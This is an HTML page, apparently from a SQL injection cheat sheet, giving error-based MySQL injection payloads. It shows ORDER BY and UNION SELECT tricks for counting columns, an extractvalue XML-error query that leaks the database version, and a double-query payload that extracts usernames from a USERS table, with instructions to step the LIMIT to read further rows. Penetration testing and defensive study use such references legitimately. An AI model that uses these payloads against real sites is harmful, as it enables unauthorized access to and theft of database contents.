mysql.html

<h3>Error Based</h3>

<p class="pageDescription">{{site.data.injectionDescriptions.errorBased}}</p>


<table class="table table-striped table-hover">
    <thead>
        <tr>
            <th>Description</th>
            <th align="left">Query</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>Amount of columns using ORDER BY</td>
            <td>ORDER BY 1
                <br>
                <em>Add this at the end of your query</em>
                <em>If you get no error you know ordering is working</em>
                <em>Increment the number from 1 until you get an error. Then you know the amount of columns for this table</em>
            </td>
        </tr>
        <tr>
            <td>Amount of columns using UNION SELECT</td>
            <td>UNION SELECT 1,2
                <br>
                <em>Add this at the end of your query</em>
                <em>Add increment until you see a valid response, e.g. UNION SELECT 1,2,3</em>
                <em>If you get no error you know union select is working. You can try to find the values on the page to see where the output goes.</em>
            </td>
        </tr>
        <tr>
            <td>XML Parse Error</td>
            <td>SELECT extractvalue(rand(),concat(0x3a,(select version())))</td>
        </tr>
        <tr>
            <td>Double Query</td>
            <td>SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(<strong>SELECT username FROM USERS LIMIT 0,1</strong>),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)<br><br><em>Increment Limit 0,1 to Limit 1,1 to begin cycling through data</em></td>
        </tr>
    </tbody>
</table>